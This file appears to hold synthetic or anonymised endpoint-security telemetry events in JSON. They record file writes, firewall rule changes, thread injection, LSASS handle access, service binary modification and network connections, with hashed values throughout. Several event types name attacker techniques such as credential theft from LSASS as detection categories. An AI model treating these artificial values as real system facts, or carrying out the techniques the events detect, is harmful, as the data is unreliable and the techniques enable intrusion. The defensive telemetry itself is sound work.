-{"event_simpleName":"FileRenameInfo","ContextTimeStamp":"1758191223.574","ConfigStateHash":"40820000","ContextProcessId":"50314320728270","SourceFileName":"\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\49830210.WibuCmActDyn","ContextThreadId":"794611930067120","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TreeId":"407060334007","Entitlements":"36","name":"f4407c8e4882cbdd","EventOrigin":"3","id":"2d662aa35187373d94203d08fc2e4e7115c6","EffectiveTransmissionClass":"3","aid":"ca48acb776296fd7a6e35ee8c4bbde6d","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\754cfa0e.TMP"} -{"event_simpleName":"FileSystemOperationDetectInfo","ContextTimeStamp":"1761719307.584","ConfigStateHash":"710307050","TemplateDisposition":"40","ContextProcessId":"1000790287600","FileSystemOperationType":"3","TemplateInstanceId":"57521","aip":"216.160.83.56","FsOperationClassification":"67","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"6725e7","FsOperationClassificationFlags":"1","PatternId":"24871","ImageFileName":"6725e7","Entitlements":"66","name":"b22ddf4c03b1a8b30f84e33786dd87b","EventOrigin":"1","id":"ad8c2e5d31cff1e8cdc3892a874ba4927d1a","EffectiveTransmissionClass":"3","aid":"ca2eedaa43a7333759deb5a0191c5313","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\71e36eee\\ce423a9b\\a5e333\\3ec061.sst"} -{"event_simpleName":"FirewallChangeOption","ContextTimeStamp":"1754850825.482","ConfigStateHash":"900805208","FirewallProfile":"1","ContextProcessId":"3001999016003","aip":"89.160.20.128","FirewallOption":"78415d0f02a966","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"36","name":"bd2f52430b3a6e28fa81dc","EventOrigin":"45","id":"ee4fea12623693e1e2aaf450974ca9068925","FirewallOptionNumericValue":"1","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"FirewallDeleteRule","ContextTimeStamp":"1747634138.862","ConfigStateHash":"900805208","ContextProcessId":"2001999016003","aip":"89.160.20.112","FirewallRuleId":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"96","name":"73c6cc568a65a7c085e0","EventOrigin":"45","id":"4ee907bd437184018039dbce46b3b7fb9586","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"FirewallSetRule","ContextTimeStamp":"1751555238.829","ConfigStateHash":"900805208","ContextProcessId":"1001999016003","aip":"81.2.69.144","FirewallRuleId":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"26","name":"e6fc8b7f15db47d1f","EventOrigin":"45","id":"b03302898ff47ac683fe0c4e7679c48615d2","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","FirewallRule":"fb.26|Action=Allow|Active=TRUE|Dir=In|App=C:\\8027a4f5\\97cf27ba\\bc713e9c\\685ac68f.exe|Name=LaunchPortal|Desc=SOM|","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"Options":"94007005","ContextThreadId":"50000395917240","MinorFunction":"0","aip":"216.160.83.56","Information":"1","FileIdentifier":"8b4857694cc53ad00ce1993ae1b2f7dd7e2cb5d73383c306","FltRelatedObjects":"32460687653001750097","event_platform":"Win","ShareAccess":"5","EventOrigin":"1","FltCompletionContext":"53130800032000003010","id":"92f7671f25cc7e1d6c1c2c3958b4a65c9c49","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"FsPostOpenSnapshotFile","ContextTimeStamp":"1749818799.590","ConfigStateHash":"8080600092","ContextProcessId":"7127089080000","IrpFlags":"2500","HandleCreateAuthenticationId":"830","FltCallbackData":"20591370484490000796","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"3900073","SourceEventUniqueId":"903600070008873043","Entitlements":"96","name":"c7a00dc61cb10ab411c95598","OperationFlags":"0","aid":"d3a1c99f621d3d6474555746950ce9b6","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\da2d906a\\d598026\\dc9ec376\\b79606\\be8"} -{"aip":"81.2.69.144","event_platform":"Win","TokenType":"2","EventOrigin":"45","InterfaceGuid":"d1c8f153a6a851a17b18fe88f1dbdc9254bf","RpcClientProcessId":"9757071607353","id":"c7017a5199f1e88eb4a44227da2d1a7c8b0d","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"HostedServiceStarted","TargetThreadId":"482081070860200","ContextTimeStamp":"1753416061.221","UserName":"f3c32fdf5aef1041","ConfigStateHash":"3440491101","InterfaceVersion":"0","RpcClientThreadId":"415000840610900","AuthenticationId":"903030080","ServiceDisplayName":"8a7cb45","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"6009006000008","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\8a7cb45.dll","RpcOpNum":"60","Entitlements":"76","name":"10e85fd7df0a53c38814f5","aid":"22924ad875ce834067bd29857dc11a92","RpcNestingLevel":"1","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"HostedServiceStopped","TargetThreadId":"51930000290120","ContextTimeStamp":"1758159357.606","ConfigStateHash":"3440491101","aip":"89.160.20.112","ServiceDisplayName":"61b6fb","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"2762512126120","Entitlements":"66","name":"c503d72ad653c0dc87f730","EventOrigin":"1","id":"db2dfa574e4ca1c775249f4fae390c93c57f","EffectiveTransmissionClass":"3","aid":"0400bce96c16b71f27978572adb3d4fd","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"TemplateInstanceId":"5008","aip":"89.160.20.112","HttpRequestHeader":"94cd/394e821c.html HTTP/76a3503a/1b8d6be3/00c0ab07/2cfb9ad5/4e2e1f0b","event_platform":"Win","PatternId":"28450","EventOrigin":"1","id":"5c80fd2a838414022b2f083219c6395b3c6a","ParentCommandLine":"82\\ab7e5c1\\c39d646f.EXE","EffectiveTransmissionClass":"2","timestamp":"1743508799999","HttpInternalSource":"2","event_simpleName":"HttpRequestDetect","ContextTimeStamp":"1754127300.344","UserName":"30d376","ConfigStateHash":"9382309105","ContextProcessId":"4064545006008","HttpUrl":"08cf20/7773b6bd.com/394e821c.html","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"54d\\9134161b\\033b4ae8\\44cb\\440b7488\\0dc8e72.EXE\" /n \"C:\\6b0cc\\30d376\\c4deb08f\\23555a08\\4c840c73.docx\" /o \"\"","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\033b4ae8\\4813\\440b7488\\0dc8e72.EXE","Entitlements":"36","name":"8d879a136063d7587c6","aid":"561ee5011fb41796a5d3d22ecc19d681","HttpMethod":"1","cid":"4092825518eaf67377a6e4492ae44577"} -{"ModuleCharacteristics":"86","ContextThreadId":"137030102310","aip":"81.2.69.144","OriginalEventTimeStamp":"1749976122.404","SHA1HashData":"9692067083780606753097782045800757094700","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","EventOrigin":"1","id":"f5638ae317f9e090033436354c7cf5d36549","EffectiveTransmissionClass":"3","ModuleSize":"40360682","timestamp":"1743508799999","event_simpleName":"ImageHash","ContextTimeStamp":"1752117943.580","ConfigStateHash":"5900030004","ContextProcessId":"10705000160","MD5HashData":"896a7b972e546354ae731504897bb216","SHA256HashData":"b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9","ConfigBuild":"2c8b.4.1403a74.4f","TargetProcessId":"10705000160","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\42955da6\\10b3abfd\\27b5ee41\\dad56584.exe","Entitlements":"16","name":"dccbe56e7b3","PrimaryModule":"1","aid":"64cded9cf5ef1c609147019ee3184217","SignInfoFlags":"1754009","cid":"4092825518eaf67377a6e4492ae44577"} -{"ThreadStartAddress":"947500501770690","InjectedThreadFlag":"430","ContextThreadId":"140004900194068","aip":"81.2.69.192","event_platform":"Win","UserThread":"1","TargetThreadModule":"\\63dc8ea2\\1c329924.dll","EventOrigin":"1","id":"5677e0f1c2f59a879c8c966e3f2583d1b374","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"InjectedThread","TargetThreadId":"505479000700240","RawProcessId":"7310","ContextTimeStamp":"1749520856.920","ConfigStateHash":"240271348","ContextProcessId":"3006607000981","ThreadStartContext":"5177300087920","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"3000303437040","Entitlements":"36","name":"367b7572c21bead4","RawThreadId":"5008","aid":"8fb3daf730de8e73c353f0c4137a51b5","SourceThreadStartAddress":"984100382000810","cid":"4092825518eaf67377a6e4492ae44577"} -{"FileOperatorSid":"S-96058-21257-98492","ContextBaseFileName":"d3571e48e3804d61a8d8f51","FileCategory":"1","Size":"58518","ContextThreadId":"60020000009454","MinorFunction":"0","aip":"216.160.83.56","IsOnNetwork":"0","FileIdentifier":"f6d5e5fb805bf40c0b18541da19518120e0c8b72f04940a8","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\7f136004\\03bd69ab","id":"162ec74e6e37e7616a81feca0a38cbc4e060","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JarFileWritten","ContextTimeStamp":"1762090431.810","ConfigStateHash":"90089570","ContextProcessId":"3097482600003","IrpFlags":"0","SHA256HashData":"c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"45bc1cac0e68ad976","OperationFlags":"0","aid":"e8709208d980534971098b9a6fb8cf05","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\4fad1919.jar"} -{"FileOperatorSid":"S-93967-95057-39657-2269-87803-54839-16636","ContextBaseFileName":"939905f021b64c","FileCategory":"6","Size":"5007","MinorFunction":"0","ContextThreadId":"67010543097020","aip":"81.2.69.192","IsOnNetwork":"0","FileIdentifier":"f9187305c797616a091da12f20ae9d2efa91b48088627f5e","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\fb6901a4","id":"f1d9633f3c4c1752450748ee02e070b772d4","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1750434917.905","ConfigStateHash":"3440491101","ContextProcessId":"568260708421","IrpFlags":"0","AuthenticationId":"9006720370","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"36","name":"f5ccfb1a5e748e3a1361b9","OperationFlags":"0","aid":"2a5a4e5c2a642c985c06f8a712f54c03","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\77d9dc83\\6f9505f\\d6c5e3b\\d199e12\\bba61ca6\\2d931c68.class"} -{"ThreadStartAddress":"7506925004555","InjectedThreadFlag":"940","ContextThreadId":"7029002010518039","aip":"216.160.83.56","event_platform":"Win","UserThread":"1","EventOrigin":"1","id":"5c016fbc5910db79ac911556c19d9efb88c6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JavaInjectedThread","TargetThreadId":"8976303018009002","RawProcessId":"60037","ThreadStartBytes":"9ccbd43213c4cce128ebb1afece9b6e1fc1fa5975d32a036fd154b43248f43de","ContextTimeStamp":"1750712370.441","ConfigStateHash":"1080600092","ContextProcessId":"210000852854060","ThreadStartContext":"7031100880000","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"800000030087834","Entitlements":"36","name":"cad7121649b58818d895","RawThreadId":"50455","aid":"2278e50b41a263c2d8421b5135a380a7","SourceThreadStartAddress":"270106100035044","cid":"4092825518eaf67377a6e4492ae44577"} -{"ValidLifetime":"0","OutOctets":"0","MaxReassemblySize":"0","MediaConnectState":"0","InterfaceMtu":"9560","NlMtu":"0","NetworkGuid":"76f651e25d18ba610cf7770da4e745f9886b","InterfaceAlias":"937aad95bcccd8cfa1a93b7bb9c5a2ead","InDiscards":"0","InBroadcastOctets":"0","InterfaceIndex":"0","InterfaceFlags":"0","PermanentPhysicalAddress":"84-83-02-18-52-28-63-e2-04-16-69-91-78-74-82-30-57-61-38-46-31-03-72-60-27-38-22-88-69-31-67-60","DadState":"0","InterfaceType":"0","MinRouterAdvertisementInterval":"0","EventOrigin":"1","MediaType":"46","id":"b1ba5664a59d4ed815268b354ba0a8ca20f4","AddressFamily":"0","LocalIpAddressPipelineSource":"6","ReceiveLinkSpeed":"300785","AccessType":"4","event_simpleName":"LocalIpAddressIP6","PathMtuDiscoveryTimeout":"0","OutDiscards":"0","LocalAddressIP6":"2a02:cf40::1","IpEntryFlags":"0","PreferredLifetime":"0","ConnectionType":"1","DadTransmits":"0","OperStatus":"2","PhysicalAddress":"99-24-19-28-16-80-11-f3-87-25-11-47-34-01-86-69-80-62-83-83-76-34-14-74-17-18-88-22-65-31-79-46","RouteOrigin":"0","InUnknownProtos":"0","OutErrors":"0","DirectionType":"0","InOctets":"0","Entitlements":"86","name":"a01d5ce18dcbf077bc4","RouteAge":"0","InUcastOctets":"0","aid":"8b33228d110f333bb96bb91288f6d8ad","cid":"4092825518eaf67377a6e4492ae44577","IfType":"0","OutUcastOctets":"0","RetransmitTime":"0","SuffixOrigin":"0","InMulticastOctets":"0","OutBroadcastOctets":"0","CreationTimeStamp":"","LinkLocalAddressBehavior":"0","aip":"89.160.20.112","BaseReachableTime":"0","InErrors":"0","RouterDiscoveryBehavior":"0","LinkLocalAddressTimeout":"0","RouteMetric":"0","event_platform":"Win","SitePrefixLength":"0","TransmitLinkSpeed":"300785","PhysicalAddressLength":"72","InUcastPkts":"0","EffectiveTransmissionClass":"2","PrefixOrigin":"0","timestamp":"1743508799999","SkipAsSource":"0","AdminStatus":"2","OnLinkPrefixLength":"0","TunnelType":"0","ConfigStateHash":"9968901000","InterfaceDescription":"f59e6603c99b77bc826e67f3133aa91ba4","InterfaceIdentifier":"0","ScopeLevel":"0","PrefixLength":"0","OutUcastPkts":"0","NetworkInterfaceGuid":"c5b6c77ed6710604982c8df8956c7d308373","ScopeZone":"0","ConfigBuild":"2c8b.4.ae3729d.e6","PhysicalMediumType":"0","NetLuidIndex":"0","InNUcastPkts":"0","MaxRouterAdvertisementInterval":"0","Metric":"0","ReachableTime":"0","OutMulticastOctets":"0","OutNUcastPkts":"0"} -{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40::2","ConfigStateHash":"9968901000","aip":"89.160.20.128","InterfaceIndex":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","NetLuidIndex":"0","Entitlements":"76","name":"872932933dab2f183b4ce071bd","EventOrigin":"1","id":"46389a39e57e9b858db2074d5f94ec7a526d","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"3","aid":"8b33228d110f333bb96bb91288f6d8ad","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextThreadId":"53282469092040","aip":"81.2.69.142","PublicKeys":"0","event_platform":"Win","EventOrigin":"1","id":"6fa27f66ec6a05ff162d3ee4962108a1518e","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"LsassHandleFromUnsignedModule","ContextTimeStamp":"1752433670.075","ConfigStateHash":"3440491101","ContextProcessId":"617055030004","SHA256HashData":"7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243","ExtendedKeyUsages":"1","FileSigningTime":"1696360530.000","ConfigBuild":"2c8b.4.ae3729d.e6","Object1Name":"","TargetProcessId":"330096244003","DesiredAccess":"2336","ImageFileName":"\\6ba0bd\\6cf19058\\9134161b\\4b9430\\6cf901c9\\d89a3e44.exe","Entitlements":"66","name":"a94954f7ef7b687d2b265ac33c34fe0","aid":"84bd7271911c13b227952666802a3e71","SignInfoFlags":"932000","Object1Type":"85300006300503060726","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""} -{"event_simpleName":"ModifyServiceBinary","ContextTimeStamp":"1758171248.217","ConfigStateHash":"8200073020","ContextProcessId":"603000080603277383","ServiceDescription":"4329d830\\4a6a0a4b\\4b8e4186.dll,-101","ContextThreadId":"108300250532070103","aip":"216.160.83.56","ServiceSecurity":"1c31d/23092a59","ServiceImagePath":"6d7f6dfd4f514f59d14a90da6a661a3 -2 d140261e9173 -5","ServiceDisplayName":"7a476391b5908bfed8e3c37","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ServiceStart":"3","ServiceType":"840","Entitlements":"16","name":"381f30fed8ec4c276ba29","EventOrigin":"1","ServiceFailureActions":"370906160706958900210000200600006090810303901200700052903087003011111111","id":"f65e6994cc640f2778a1b7af2c40ba921473","ServiceErrorControl":"1","EffectiveTransmissionClass":"3","aid":"c82cce517ab3200fde3ca362e648c993","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextThreadId":"28260411703000","aip":"216.160.83.56","ShareName":"cb8652cba4df7f900","event_platform":"Win","EventOrigin":"1","InterfaceGuid":"6934fcb718b8c1c32c1f9fbbd4bc4e6c7a0c","RpcClientProcessId":"400050400700","id":"c805aeef64230eaf7cd53c8a881aa4e8405a","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"NetShareSecurityModify","ContextTimeStamp":"1756110899.866","UserName":"5f112a78ce366","ConfigStateHash":"8602068629","ContextProcessId":"409640218507","InterfaceVersion":"230092","AuthenticationId":"830","ShareSecurity":"1c31d/825bda18","ConfigBuild":"2c8b.4.a5bcbac.e6","RpcOpNum":"45","Entitlements":"26","name":"e6b491ccab8fa73b85131f75","aid":"3daf1fabea580837c4adcda08036d084","ShareSecuritySddl":"1c31d/aeb465b9","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextBaseFileName":"b95ddafd92696f0e5a","aip":"216.160.83.56","event_platform":"Win","EventOrigin":"1","id":"0fc45c7ed982785c2b6da8717ddcefdcd273","Protocol":"6","EffectiveTransmissionClass":"3","InContext":"0","timestamp":"1743508799999","LocalAddressIP4":"81.2.69.142","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1762067162.385","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"6550917119400","RemotePort":"600","ConfigBuild":"2c8b.4.ae3729d.e6","LocalPort":"60181","Entitlements":"56","name":"13f26050a8e2372ba812","aid":"fd2a2839c2fb96079cb3c756f823e196","RemoteAddressIP4":"89.160.20.128","RemoteAddressString":"3b0cf5a207bde73b","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextBaseFileName":"b971114518c9","RemoteAddressIP6":"2a02:cf40::1","aip":"81.2.69.142","event_platform":"Win","EventOrigin":"1","id":"473484e6b33fdbe4e7274bc98a2365ad9e88","Protocol":"6","EffectiveTransmissionClass":"3","InContext":"0","timestamp":"1743508799999","event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1746290444.357","LocalAddressIP6":"2a02:cf40::2","ConfigStateHash":"205997984","ConnectionFlags":"0","ContextProcessId":"4093698090473","RemotePort":"600","ConfigBuild":"2c8b.4.ae3729d.e6","LocalPort":"45200","Entitlements":"56","name":"f35a9bcaa84e44df3194","aid":"bfc5af54b43f2802d6e18297ab82e810","RemoteAddressString":"2a02:cf40::1","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"} -{"LocalAddressIP4":"89.160.20.128","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1762579185.012","ConfigStateHash":"3440491101","ConnectionFlags":"0","ContextProcessId":"1373030025759","RemotePort":"0","ContextThreadId":"351980000701043","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"73001","Entitlements":"66","name":"3e63bd7ad348fcf149d","EventOrigin":"1","id":"414d7d4c948639bd127ede963b8cd7f205d5","Protocol":"6","EffectiveTransmissionClass":"3","aid":"deb2fe5b3c4891f857b3d5cb68f4d47f","RemoteAddressIP4":"216.160.83.56","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1756453330.351","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::2","ConfigStateHash":"750096004","ConnectionFlags":"0","ContextProcessId":"6002550902534","RemotePort":"0","ContextThreadId":"400604050757015","aip":"216.160.83.56","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","LocalPort":"1049","Entitlements":"96","name":"32e9d89e356847ad161","EventOrigin":"1","id":"6571a795f2d49a994f8fc3840f9780f9a9d8","Protocol":"6","EffectiveTransmissionClass":"3","aid":"fe88182661659af8a192fac5db624574","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"LocalAddressIP4":"216.160.83.56","ContextBaseFileName":"8e8eab0b4bf","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1749621637.544","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"4700009307800","RemotePort":"60702","aip":"89.160.20.112","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"1049","Entitlements":"56","name":"4ccf568bd7cda1587d77b69c3f","EventOrigin":"1","id":"6944305135f71ae54b685de925bc80d24162","Protocol":"6","EffectiveTransmissionClass":"3","aid":"359d1a3764bc9914314c10bbe07b0ee5","RemoteAddressIP4":"89.160.20.128","ConnectionDirection":"1","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextBaseFileName":"8e8eab0b4bf","event_simpleName":"NetworkReceiveAcceptIP6","ContextTimeStamp":"1747626245.373","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::2","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"2000180444147","RemotePort":"8340","aip":"89.160.20.128","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"7340","Entitlements":"36","name":"0f701c259d2d9d9e15dbcf1339","EventOrigin":"1","id":"2de192320bb03a0e9990059a2895376d0213","Protocol":"45","EffectiveTransmissionClass":"3","aid":"15d126c11ad8c113dec6e819ca553cf7","ConnectionDirection":"1","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextThreadId":"703603693040462","MinorFunction":"0","aip":"81.2.69.192","FileIdentifier":"990200511957122000670029061067970349454003500200","event_platform":"Win","NewFileIdentifier":"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330","EventOrigin":"1","id":"3576a8f1eee99ef99a90b644fac69ef96052","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"NewExecutableRenamed","ContextTimeStamp":"1758496164.011","ConfigStateHash":"710307050","ContextProcessId":"6670000954191","SourceFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\d5fdc1af\\b62491c6","IrpFlags":"100651","ConfigBuild":"2c8b.4.ae3729d.e6","MajorFunction":"6","Entitlements":"66","name":"b64d07a4710e4a075cd1f1","OperationFlags":"0","aid":"39074f37291ca6f2d189c1e110e04dfc","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe"} -{"ContextBaseFileName":"7592a3326e8f","Options":"50000230","ContextThreadId":"290000250300138","MinorFunction":"0","aip":"81.2.69.144","Information":"2","FileIdentifier":"069e4fe6f4d10f0e30f24838e1fd3eeab84cda3de7ec491c","event_platform":"Win","ShareAccess":"3","EventOrigin":"1","id":"159069fcc959600bb67b1d499fbba75e246f","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1747496883.062","ConfigStateHash":"9080600092","ContextProcessId":"6609070495594","IrpFlags":"2500","ContextImageFileName":"\\6ba0bd\\447b992c\\d598026\\1c467339.exe","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"4250080","Entitlements":"76","name":"df0d670fd6fc4521a6c960","OperationFlags":"0","aid":"e4a077554af537da06f56e39976d4420","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\2e00f238.lnk"} -{"ContextBaseFileName":"481bc1a027f891f9b","Options":"66717670","ContextThreadId":"270140900130850060","MinorFunction":"0","aip":"89.160.20.128","Information":"3","FileIdentifier":"3983fc13457464a741b39fba5bb2260604ddb049477359f2","event_platform":"Win","ShareAccess":"1","EventOrigin":"1","id":"182d52dbecaca7970cb63c42addda760f512","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"NewScriptWritten","ContextTimeStamp":"1756143143.835","ConfigStateHash":"8200073020","ContextProcessId":"211820800920708240","IrpFlags":"2500","ContextImageFileName":"\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\f89ea270\\d001f1d.4\\b5860c81.exe","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"5060417","Entitlements":"66","name":"af0673bdd782d244e9c","OperationFlags":"0","aid":"d6c18cb814c9100d81bedd3b4290407f","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\481f1be1.config"} -{"FileOperatorSid":"S-72386-31002-81578-35580-81320-88994-11078","ContextBaseFileName":"7592a3326e8f","FileCategory":"2","Size":"70097","ContextThreadId":"290000250300138","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"938e82c7b12a104fa76dcbeb0307793c9ec98bea974f8770","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\237ca1ff\\9f8125ec","id":"50b4564705009d4d899b257c4f60806debaf","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"OleFileWritten","ContextTimeStamp":"1754452910.026","ConfigStateHash":"9080600092","ContextProcessId":"3609070495594","IrpFlags":"0","AuthenticationId":"10050074","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"36","name":"52f49e17cbb3258ec","OperationFlags":"0","aid":"e4a077554af537da06f56e39976d4420","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\e6e3e8fa\\5fcb82a8.automaticDestinations-ms"} -{"FileOperatorSid":"S-14916-87933-54904-21020-22768-89969-67859","ContextBaseFileName":"f8d3910f48a","FileCategory":"2","Size":"4008","ContextThreadId":"406830433040004","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","BoundingLimitCount":"10","FileIdentifier":"fe69780d23fffd9b5ea4d464cf4fe53f8d384cdc38b47460","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\4db87fa6\\901bda80","id":"fa7433e86a344c7c471c159189a5d9e46b61","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1757793265.081","ConfigStateHash":"205997984","ContextProcessId":"3902807870001","IrpFlags":"0","AuthenticationId":"1046050","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","BoundingLimitDuration":"2486640","Entitlements":"16","name":"7233ba49d5aea975e9d","OperationFlags":"0","aid":"4274e60578e437f258cd288fc421c898","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\6a5005c5\\0f51ad6\\8c31e\\d62f\\6\\9628fd57\\93\\697ee9b1.thmx"} 